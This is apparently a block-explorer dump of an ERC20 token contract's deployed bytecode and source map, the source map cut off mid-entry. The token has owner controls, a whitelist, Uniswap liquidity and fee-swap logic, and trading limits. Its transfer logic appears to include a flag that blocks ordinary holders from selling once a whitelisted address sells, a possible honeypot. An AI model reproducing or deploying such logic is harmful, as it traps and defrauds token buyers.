1e88806d9836fd9333cc5460015491926104c09290916104ba9190610a63565b90610a63565b905090565b5f6104d1848484610a6e565b610522843361051d8560405180606001604052806028815260200161171e602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610ed9565b610940565b5060015b9392505050565b5f546001600160a01b0316331461055f5760405162461bcd60e51b8152600401610556906115c4565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d891906115e4565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610623573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064791906115e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610691573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b591906115e4565b600580546001600160a01b038086166001600160a01b0319928316811790935560068054918516919092161790559091506106f39030905f19610940565b6005546001600160a01b031663f305d7193430610724816001600160a01b03165f9081526002602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f6044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610785573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107aa91906115ff565b5050505050565b5f546001600160a01b031633146107da5760405162461bcd60e51b8152600401610556906115c4565b5f80546001600160a01b0319169055565b5f546001600160a01b031633146108145760405162461bcd60e51b8152600401610556906115c4565b5f1960138190556014819055601555565b5f546001600160a01b0316331461084e5760405162461bcd60e51b8152600401610556906115c4565b6006805461ffff60a01b191661010160a01b179055565b5f61044b338484610a6e565b5f546001600160a01b0316331461089a5760405162461bcd60e51b8152600401610556906115c4565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146108ed5760405162461bcd60e51b8152600401610556906115c4565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b038216610a035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610526828461163e565b6001600160a01b038316610ad25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b038216610b345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b7457506001600160a01b0382165f9081526004602052604090205460ff16155b15610bd257600654600160a01b900460ff16610bd25760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720686173206e6f7420656e61626c65642e00000000000000006044820152606401610556565b6001600160a01b0383165f9081526004602052604090205460ff16158015610c1257506001600160a01b0382165f9081526004602052604090205460ff16155b8015610c2c57506006546001600160a01b03838116911614155b8015610c4357506001600160a01b03821661dead14155b15610cbb576015546001600160a01b0383165f90815260026020526040902054610c6d9083610f04565b1115610cbb5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610556565b6006546001600160a01b03848116911614610dcc5760145481111580610cf857506001600160a01b0383165f9081526004602052604090205460ff165b80610d1a57506001600160a01b0382165f9081526004602052604090205460ff165b610d5b5760405162461bcd60e51b81526020600482015260126024820152712a2c102634b6b4ba1022bc31b2b2b232b21760711b6044820152606401610556565b600654600160b01b900460ff161580610d8b57506001600160a01b0383165f9081526004602052604090205460ff165b610dcc5760405162461bcd60e51b81526020600482015260126024820152712a2c102634b6b4ba1022bc31b63ab232b21760711b6044820152606401610556565b60135481111580610df457506001600160a01b0383165f9081526004602052604090205460ff165b80610e1657506001600160a01b0382165f9081526004602052604090205460ff165b610e575760405162461bcd60e51b81526020600482015260126024820152712a2c102634b6b4ba1022bc31b2b2b232b21760711b6044820152606401610556565b6006546001600160a01b038381169116148015610e8c57506001600160a01b0383165f9081526004602052604090205460ff16155b15610ea957600160075f828254610ea39190611651565b90915550505b610eb4838383610f0f565b15610ec957610ec4600a54611074565b5f6007555b610ed4838383611097565b505050565b5f8184841115610efc5760405162461bcd60e51b81526004016105569190611478565b505050900390565b5f6105268284611651565b600b54600a54305f908152600260209081526040808320546001600160a01b03881684526004909252822054919385101592111590839060ff168015610f5e57506001600160a01b0386163014155b8015610f7757506006546001600160a01b038881169116145b90508015610fa8576001600160a01b038088165f908152600360209081526040808320938a168352929052205f1990555b600654600160b01b900460ff1680610fbd5750805b60068054911515600160b01b0260ff60b01b1990921691909117905560085460ff16158015610ff55750600654600160a81b900460ff165b801561100a5750600654600160a01b900460ff165b80156110135750825b801561103757506001600160a01b0387165f9081526004602052604090205460ff16155b801561105057506006546001600160a01b038781169116145b8015611060575060095460075410155b80156110695750815b979650505050505050565b6008805460ff1916600117905561108a81611179565b506008805460ff19169055565b6001600160a01b0383165f908152600260205260409020546110b99082610a63565b6001600160a01b0384165f908152600260205260408120919091556110de84846112cd565b6110e857816110f3565b6110f3848484611311565b6001600160a01b0384165f908152600260205260409020549091506111189082610f04565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061116b9085815260200190565b60405180910390a350505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106111ac576111ac611664565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611203573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061122791906115e4565b8160018151811061123a5761123a611664565b6001600160a01b0392831660209182029290920101526005546112609130911684610940565b600554600d5460405163791ac94760e01b81526001600160a01b039283169263791ac9479261129c9287925f9288929116904290600401611678565b5f604051808303815f87803b1580156112b3575f80fd5b505af11580156112c5573d5f803e3d5ffd5b505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156105265750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f8061131d8585611418565b1115611411575f61134460125461133e6113378888611418565b8690611462565b9061146d565b305f908152600260205260409020549091506113609082610f04565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113b09085815260200190565b60405180910390a35f600e541180156113d35750600e546113d18686611418565b115b156113ff576113ff3061dead6113fa60125461133e600e548961146290919063ffffffff16565b610a6e565b6114098382610a63565b915050610526565b5092915050565b6006545f906001600160a01b0390811690831603611439575060105461044f565b6006546001600160a01b03908116908416036114585750600f5461044f565b5060115492915050565b5f61052682846116e7565b5f61052682846116fe565b5f6020808352835180828501525f5b818110156114a357858101830151858201604001528201611487565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114d7575f80fd5b50565b5f80604083850312156114eb575f80fd5b82356114f6816114c3565b946020939093013593505050565b5f805f60608486031215611516575f80fd5b8335611521816114c3565b92506020840135611531816114c3565b929592945050506040919091013590565b5f60208284031215611552575f80fd5b8135610526816114c3565b5f806040838503121561156e575f80fd5b8235611579816114c3565b91506020830135801515811461158d575f80fd5b809150509250929050565b5f80604083850312156115a9575f80fd5b82356115b4816114c3565b9150602083013561158d816114c3565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f602082840312156115f4575f80fd5b8151610526816114c3565b5f805f60608486031215611611575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044f5761044f61162a565b8082018082111561044f5761044f61162a565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116c65784516001600160a01b0316835293830193918301916001016116a1565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761044f5761044f61162a565b5f8261171857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207788790eb3eb3d511f591de7d4e017855d3cb40bbd17385493357eb89530965564736f6c63430008140033

Deployed Bytecode Sourcemap

5319:8970:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7287:67;;;;;;;;;;-1:-1:-1;7347:5:0;;;;;;;;;;;;-1:-1:-1;;;7347:5:0;;;;7287:67;;;;;;;:::i;:::-;;;;;;;;8105:133;;;;;;;;;;-1:-1:-1;8105:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8105:133:0;1023:187:1;8244:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;8244:132:0;1215:177:1;10398:309:0;;;;;;;;;;-1:-1:-1;10398:309:0;;;;;:::i;:::-;;:::i;3021:87::-;;;;;;;;;;-1:-1:-1;3021:87:0;;;;;:::i;:::-;3076:4;3101:5;-1:-1:-1;;;;;3090:16:0;;;3101:5;;3090:16;;3021:87;13133:484;;;:::i;:::-;;7437:67;;;;;;;;;;-1:-1:-1;7437:67:0;;5795:1;2252:36:1;;2240:2;2225:18;7437:67:0;2110:184:1;7594:103:0;;;;;;;;;;-1:-1:-1;7594:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7677:18:0;7660:7;7677:18;;;:9;:18;;;;;;;7594:103;3231:77;;;;;;;;;;;;;:::i;9485:183::-;;;;;;;;;;;;;:::i;6757:61::-;;;;;;;;;;;;;;;;6690:60;;;;;;;;;;;;;;;;6625:58;;;;;;;;;;;;;;;;7510:78;;;;;;;;;;-1:-1:-1;7562:7:0;7580:5;-1:-1:-1;;;;;7580:5:0;7510:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;7510:78:0;2299:203:1;13015:110:0;;;;;;;;;;;;;:::i;7360:71::-;;;;;;;;;;-1:-1:-1;7422:7:0;;;;;;;;;;;;-1:-1:-1;;;7422:7:0;;;;7360:71;;5835:19;;;;;;;;;;-1:-1:-1;5835:19:0;;;;-1:-1:-1;;;;;5835:19:0;;;7703:139;;;;;;;;;;-1:-1:-1;7703:139:0;;;;;:::i;:::-;;:::i;7981:118::-;;;;;;;;;;-1:-1:-1;7981:118:0;;;;;:::i;:::-;;:::i;7848:127::-;;;;;;;;;;-1:-1:-1;7848:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7946:18:0;;;7929:7;7946:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7848:127;5586:52;;;;;;;;;;-1:-1:-1;5586:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3114:111;;;;;;;;;;-1:-1:-1;3114:111:0;;;;;:::i;:::-;;:::i;8105:133::-;8180:4;8187:37;8196:10;8208:7;8217:6;8187:8;:37::i;:::-;-1:-1:-1;8232:4:0;8105:133;;;;;:::o;8244:132::-;7677:9;:18;;;;6574:42;8297:7;7677:18;;;;;8314:12;;8297:7;;8314:60;;7677:18;;8314:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8307:67;;8244:132;:::o;10398:309::-;10496:4;10513:36;10523:6;10531:9;10542:6;10513:9;:36::i;:::-;10560:117;10569:6;10577:10;10589:87;10625:6;10589:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10589:19:0;;;;;;:11;:19;;;;;;;;10609:10;10589:31;;;;;;;;;:87;:35;:87::i;:::-;10560:8;:117::i;:::-;-1:-1:-1;10695:4:0;10398:309;;;;;;:::o;13133:484::-;3076:4;3101:5;-1:-1:-1;;;;;3101:5:0;2988:10;3090:16;2972:38;;;;-1:-1:-1;;;2972:38:0;;;;;;;:::i;:::-;;;;;;;;;13195:22:::1;13235:42;13195:83;;13289:13;13321:7;-1:-1:-1::0;;;;;13321:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13305:45:0::1;;13359:4;13366:7;-1:-1:-1::0;;;;;13366:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13305:76;::::0;-1:-1:-1;;;;;;13305:76:0::1;::::0;;;;;;-1:-1:-1;;;;;4401:15:1;;;13305:76:0::1;::::0;::::1;4383:34:1::0;4453:15;;4433:18;;;4426:43;4318:18;;13305:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13392:6;:16:::0;;-1:-1:-1;;;;;13392:16:0;;::::1;-1:-1:-1::0;;;;;;13392:16:0;;::::1;::::0;::::1;::::0;;;13410:4:::1;:12:::0;;;;::::1;::::0;;;::::1;;::::0;;13289:92;;-1:-1:-1;13433:53:0::1;::::0;13450:4:::1;::::0;-1:-1:-1;;13433:8:0::1;:53::i;:::-;13498:6;::::0;-1:-1:-1;;;;;13498:6:0::1;:22;13528:9;13547:4;13553:24;13547:4:::0;-1:-1:-1;;;;;7677:18:0;7660:7;7677:18;;;:9;:18;;;;;;;7594:103;13553:24:::1;13498:111;::::0;-1:-1:-1;;;;;;13498:111:0::1;::::0;;;;;;-1:-1:-1;;;;;4839:15:1;;;13498:111:0::1;::::0;::::1;4821:34:1::0;4871:18;;;4864:34;13578:1:0::1;4914:18:1::0;;;4907:34;;;4957:18;;;4950:34;13582:10:0::1;5000:19:1::0;;;4993:44;13593:15:0::1;5053:19:1::0;;;5046:35;4755:19;;13498:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13184:433;;13133:484::o:0;3231:77::-;3076:4;3101:5;-1:-1:-1;;;;;3101:5:0;2988:10;3090:16;2972:38;;;;-1:-1:-1;;;2972:38:0;;;;;;;:::i;:::-;3303:1:::1;3287:18:::0;;-1:-1:-1;;;;;;3287:18:0::1;::::0;;3231:77::o;9485:183::-;3076:4;3101:5;-1:-1:-1;;;;;3101:5:0;2988:10;3090:16;2972:38;;;;-1:-1:-1;;;2972:38:0;;;;;;;:::i;:::-;-1:-1:-1;;9537:12:0::1;:32:::0;;;9580:14:::1;:34:::0;;;9625:15:::1;:35:::0;9485:183::o;13015:110::-;3076:4;3101:5;-1:-1:-1;;;;;3101:5:0;2988:10;3090:16;2972:38;;;;-1:-1:-1;;;2972:38:0;;;;;;;:::i;:::-;13068:11:::1;:18:::0;;-1:-1:-1;;;;13097:19:0;-1:-1:-1;;;13097:19:0;;;13015:110::o;7703:139::-;7781:4;7788:40;7798:10;7810:9;7821:6;7788:9;:40::i;7981:118::-;3076:4;3101:5;-1:-1:-1;;;;;3101:5:0;2988:10;3090:16;2972:38;;;;-1:-1:-1;;;2972:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8057:29:0;;;::::1;;::::0;;;:19:::1;:29;::::0;;;;:40;;-1:-1:-1;;8057:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7981:118::o;3114:111::-;3076:4;3101:5;-1:-1:-1;;;;;3101:5:0;2988:10;3090:16;2972:38;;;;-1:-1:-1;;;2972:38:0;;;;;;;:::i;:::-;3180:5:::1;:11:::0;;-1:-1:-1;;;;;;3180:11:0::1;-1:-1:-1::0;;;;;3180:11:0;::::1;::::0;;::::1;::::0;;;3198:25:::1;::::0;2445:51:1;;;3198:25:0::1;::::0;2433:2:1;2418:18;3198:25:0::1;;;;;;;3114:111:::0;:::o;8384:335::-;-1:-1:-1;;;;;8477:19:0;;8469:68;;;;-1:-1:-1;;;8469:68:0;;5821:2:1;8469:68:0;;;5803:21:1;5860:2;5840:18;;;5833:30;5899:34;5879:18;;;5872:62;-1:-1:-1;;;5950:18:1;;;5943:34;5994:19;;8469:68:0;5619:400:1;8469:68:0;-1:-1:-1;;;;;8556:21:0;;8548:68;;;;-1:-1:-1;;;8548:68:0;;6226:2:1;8548:68:0;;;6208:21:1;6265:2;6245:18;;;6238:30;6304:34;6284:18;;;6277:62;-1:-1:-1;;;6355:18:1;;;6348:32;6397:19;;8548:68:0;6024:398:1;8548:68:0;-1:-1:-1;;;;;8627:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8679:32;;1361:25:1;;;8679:32:0;;1334:18:1;8679:32:0;;;;;;;8384:335;;;:::o;1672:98::-;1730:7;1757:5;1761:1;1757;:5;:::i;10715:1327::-;-1:-1:-1;;;;;10812:20:0;;10804:70;;;;-1:-1:-1;;;10804:70:0;;6894:2:1;10804:70:0;;;6876:21:1;6933:2;6913:18;;;6906:30;6972:34;6952:18;;;6945:62;-1:-1:-1;;;7023:18:1;;;7016:35;7068:19;;10804:70:0;6692:401:1;10804:70:0;-1:-1:-1;;;;;10893:23:0;;10885:71;;;;-1:-1:-1;;;10885:71:0;;7300:2:1;10885:71:0;;;7282:21:1;7339:2;7319:18;;;7312:30;7378:34;7358:18;;;7351:62;-1:-1:-1;;;7429:18:1;;;7422:33;7472:19;;10885:71:0;7098:399:1;10885:71:0;-1:-1:-1;;;;;10973:27:0;;;;;;:19;:27;;;;;;;;10972:28;:63;;;;-1:-1:-1;;;;;;11005:30:0;;;;;;:19;:30;;;;;;;;11004:31;10972:63;10969:133;;;11059:12;;-1:-1:-1;;;11059:12:0;;;;11051:49;;;;-1:-1:-1;;;11051:49:0;;7704:2:1;11051:49:0;;;7686:21:1;7743:2;7723:18;;;7716:30;7782:26;7762:18;;;7755:54;7826:18;;11051:49:0;7502:348:1;11051:49:0;-1:-1:-1;;;;;11116:27:0;;;;;;:19;:27;;;;;;;;11115:28;:63;;;;-1:-1:-1;;;;;;11148:30:0;;;;;;:19;:30;;;;;;;;11147:31;11115:63;:93;;;;-1:-1:-1;11203:4:0;;-1:-1:-1;;;;;11182:26:0;;;11203:4;;11182:26;;11115:93;:123;;;;-1:-1:-1;;;;;;11212:26:0;;6574:42;11212:26;;11115:123;11112:240;;;11300:15;;-1:-1:-1;;;;;11263:20:0;;;;;;:9;:20;;;;;;:32;;11288:6;11263:24;:32::i;:::-;11262:53;;11254:96;;;;-1:-1:-1;;;11254:96:0;;8057:2:1;11254:96:0;;;8039:21:1;8096:2;8076:18;;;8069:30;8135:32;8115:18;;;8108:60;8185:18;;11254:96:0;7855:354:1;11254:96:0;11375:4;;-1:-1:-1;;;;;11365:14:0;;;11375:4;;11365:14;11362:242;;11413:14;;11403:6;:24;;:55;;;-1:-1:-1;;;;;;11431:27:0;;;;;;:19;:27;;;;;;;;11403:55;:89;;;-1:-1:-1;;;;;;11462:30:0;;;;;;:19;:30;;;;;;;;11403:89;11395:120;;;;-1:-1:-1;;;11395:120:0;;8416:2:1;11395:120:0;;;8398:21:1;8455:2;8435:18;;;8428:30;-1:-1:-1;;;8474:18:1;;;8467:48;8532:18;;11395:120:0;8214:342:1;11395:120:0;11539:10;;-1:-1:-1;;;11539:10:0;;;;11538:11;;:42;;-1:-1:-1;;;;;;11553:27:0;;;;;;:19;:27;;;;;;;;11538:42;11530:72;;;;-1:-1:-1;;;11530:72:0;;8763:2:1;11530:72:0;;;8745:21:1;8802:2;8782:18;;;8775:30;-1:-1:-1;;;8821:18:1;;;8814:48;8879:18;;11530:72:0;8561:342:1;11530:72:0;11642:12;;11632:6;:22;;:53;;;-1:-1:-1;;;;;;11658:27:0;;;;;;:19;:27;;;;;;;;11632:53;:87;;;-1:-1:-1;;;;;;11689:30:0;;;;;;:19;:30;;;;;;;;11632:87;11624:118;;;;-1:-1:-1;;;11624:118:0;;8416:2:1;11624:118:0;;;8398:21:1;8455:2;8435:18;;;8428:30;-1:-1:-1;;;8474:18:1;;;8467:48;8532:18;;11624:118:0;8214:342:1;11624:118:0;11772:4;;-1:-1:-1;;;;;11759:17:0;;;11772:4;;11759:17;:49;;;;-1:-1:-1;;;;;;11781:27:0;;;;;;:19;:27;;;;;;;;11780:28;11759:49;11756:93;;;11845:1;11824:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;11756:93:0;11862:45;11881:6;11889:9;11900:6;11862:18;:45::i;:::-;11859:114;;;11923:23;11932:13;;11923:8;:23::i;:::-;11968:1;11948:9;:22;11859:114;11993:41;12008:6;12016:9;12027:6;11993:14;:41::i;:::-;10715:1327;;;:::o;2096:240::-;2216:7;2277:12;2269:6;;;;2261:29;;;;-1:-1:-1;;;2261:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2312:5:0;;;2096:240::o;1566:98::-;1624:7;1651:5;1655:1;1651;:5;:::i;9676:714::-;9816:14;;9891:13;;9881:4;9773;7677:18;;;:9;:18;;;;;;;;;-1:-1:-1;;;;;9934:30:0;;;;:19;:30;;;;;;9773:4;;9806:24;;;;-1:-1:-1;9863:41:0;;9773:4;;9934:30;;:60;;;;-1:-1:-1;;;;;;9968:26:0;;9989:4;9968:26;;9934:60;:78;;;;-1:-1:-1;10008:4:0;;-1:-1:-1;;;;;9998:14:0;;;10008:4;;9998:14;9934:78;9915:97;;10027:11;10023:61;;;-1:-1:-1;;;;;10040:19:0;;;10082:1;10040:19;;;:11;:19;;;;;;;;:30;;;;;;;;;-1:-1:-1;;10040:44:0;;10023:61;10108:10;;-1:-1:-1;;;10108:10:0;;;;;:25;;;10122:11;10108:25;10095:10;:38;;;;;-1:-1:-1;;;10095:38:0;-1:-1:-1;;;;10095:38:0;;;;;;;;;10163:8;;10095:38;10163:8;10162:9;:34;;;;-1:-1:-1;10185:11:0;;-1:-1:-1;;;10185:11:0;;;;10162:34;:60;;;;-1:-1:-1;10210:12:0;;-1:-1:-1;;;10210:12:0;;;;10162:60;:82;;;;;10236:8;10162:82;:124;;;;-1:-1:-1;;;;;;10259:27:0;;;;;;:19;:27;;;;;;;;10258:28;10162:124;:155;;;;-1:-1:-1;10313:4:0;;-1:-1:-1;;;;;10300:17:0;;;10313:4;;10300:17;10162:155;:192;;;;;10344:10;;10331:9;;:23;;10162:192;:220;;;;;10368:14;10162:220;10145:237;9676:714;-1:-1:-1;;;;;;;9676:714:0:o;12464:105::-;6849:8;:15;;-1:-1:-1;;6849:15:0;6860:4;6849:15;;;12533:28:::1;12550:10:::0;12533:16:::1;:28::i;:::-;-1:-1:-1::0;6869:8:0;:16;;-1:-1:-1;;6869:16:0;;;12464:105::o;12050:406::-;-1:-1:-1;;;;;12164:17:0;;;;;;:9;:17;;;;;;:29;;12186:6;12164:21;:29::i;:::-;-1:-1:-1;;;;;12144:17:0;;;;;;:9;:17;;;;;:49;;;;12230:36;12154:6;12256:9;12230:17;:36::i;:::-;:85;;12309:6;12230:85;;;12269:37;12280:6;12288:9;12299:6;12269:10;:37::i;:::-;-1:-1:-1;;;;;12349:20:0;;;;;;:9;:20;;;;;;12205:110;;-1:-1:-1;12349:40:0;;12205:110;12349:24;:40::i;:::-;-1:-1:-1;;;;;12326:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12405:43;;;;;;;;;;12433:14;1361:25:1;;1349:2;1334:18;;1215:177;12405:43:0;;;;;;;;12133:323;12050:406;;;:::o;12577:430::-;12667:16;;;12681:1;12667:16;;;;;;;;12643:21;;12667:16;;;;;;;;;;-1:-1:-1;12667:16:0;12643:40;;12712:4;12694;12699:1;12694:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12694:23:0;;;:7;;;;;;;;;;:23;;;;12738:6;;:13;;;-1:-1:-1;;;12738:13:0;;;;:6;;;;;:11;;:13;;;;;12694:7;;12738:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12728:4;12733:1;12728:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12728:23:0;;;:7;;;;;;;;;:23;12794:6;;12762:53;;12779:4;;12794:6;12803:11;12762:8;:53::i;:::-;12826:6;;12959:9;;12826:173;;-1:-1:-1;;;12826:173:0;;-1:-1:-1;;;;;12826:6:0;;;;:57;;:173;;12898:11;;12826:6;;12940:4;;12959:9;;;12983:15;;12826:173;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12632:375;12577:430;:::o;9069:180::-;-1:-1:-1;;;;;9179:27:0;;9154:4;9179:27;;;:19;:27;;;;;;;;9178:28;:63;;;;-1:-1:-1;;;;;;;9211:30:0;;;;;:19;:30;;;;;;;;9210:31;;9069:180;-1:-1:-1;9069:180:0:o;13625:661::-;13714:7;13771:1;13737:31;13750:6;13758:9;13737:12;:31::i;:::-;:35;13734:519;;;13789:17;13809:55;13857:6;;13809:43;13820:31;13833:6;13841:9;13820:12;:31::i;:::-;13809:6;;:10;:43::i;:::-;:47;;:55::i;:::-;13924:4;13906:24;;;;:9;:24;;;;;;13789:75;;-1:-1:-1;13906:39:0;;13789:75;13906:28;:39::i;:::-;13897:4;13879:24;;;;:9;:24;;;;;;;:66;;;;13965:42;;-1:-1:-1;;;;;13965:42:0;;;;;;;13997:9;1361:25:1;;1349:2;1334:18;;1215:177;13965:42:0;;;;;;;;14043:1;14025:7;;:20;:65;;;;;14083:7;;14049:31;14062:6;14070:9;14049:12;:31::i;:::-;:41;14025:65;14022:177;;;14111:72;14129:4;6574:42;14151:31;14175:6;;14151:19;14162:7;;14151:6;:10;;:19;;;;:::i;:31::-;14111:9;:72::i;:::-;14220:21;:6;14231:9;14220:10;:21::i;:::-;14213:28;;;;;13734:519;-1:-1:-1;14272:6:0;13625:661;-1:-1:-1;;13625:661:0:o;9257:220::-;9373:4;;9337:7;;-1:-1:-1;;;;;9373:4:0;;;9360:17;;;;9357:38;;-1:-1:-1;9386:7:0;;9379:14;;9357:38;9418:4;;-1:-1:-1;;;;;9418:4:0;;;9408:14;;;;9405:36;;-1:-1:-1;9431:8:0;;9424:15;;9405:36;-1:-1:-1;9458:11:0;;9257:220;;;;:::o;1778:98::-;1836:7;1863:5;1867:1;1863;:5;:::i;1884:98::-;1942:7;1969:5;1973:1;1969;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:416::-;2572:6;2580;2633:2;2621:9;2612:7;2608:23;2604:32;2601:52;;;2649:1;2646;2639:12;2601:52;2688:9;2675:23;2707:31;2732:5;2707:31;:::i;:::-;2757:5;-1:-1:-1;2814:2:1;2799:18;;2786:32;2856:15;;2849:23;2837:36;;2827:64;;2887:1;2884;2877:12;2827:64;2910:7;2900:17;;;2507:416;;;;;:::o;2928:388::-;2996:6;3004;3057:2;3045:9;3036:7;3032:23;3028:32;3025:52;;;3073:1;3070;3063:12;3025:52;3112:9;3099:23;3131:31;3156:5;3131:31;:::i;:::-;3181:5;-1:-1:-1;3238:2:1;3223:18;;3210:32;3251:33;3210:32;3251:33;:::i;3581:329::-;3783:2;3765:21;;;3822:1;3802:18;;;3795:29;-1:-1:-1;;;3855:2:1;3840:18;;3833:36;3901:2;3886:18;;3581:329::o;3915:251::-;3985:6;4038:2;4026:9;4017:7;4013:23;4009:32;4006:52;;;4054:1;4051;4044:12;4006:52;4086:9;4080:16;4105:31;4130:5;4105:31;:::i;5092:306::-;5180:6;5188;5196;5249:2;5237:9;5228:7;5224:23;5220:32;5217:52;;;5265:1;5262;5255:12;5217:52;5294:9;5288:16;5278:26;;5344:2;5333:9;5329:18;5323:25;5313:35;;5388:2;5377:9;5373:18;5367:25;5357:35;;5092:306;;;;;:::o;6427:127::-;6488:10;6483:3;6479:20;6476:1;6469:31;6519:4;6516:1;6509:15;6543:4;6540:1;6533:15;6559:128;6626:9;;;6647:11;;;6644:37;;;6661:18;;:::i;8908:125::-;8973:9;;;8994:10;;;8991:36;;;9007:18;;:::i;9170:127::-;9231:10;9226:3;9222:20;9219:1;9212:31;9262:4;9259:1;9252:15;9286:4;9283:1;9276:15;9302:980;9564: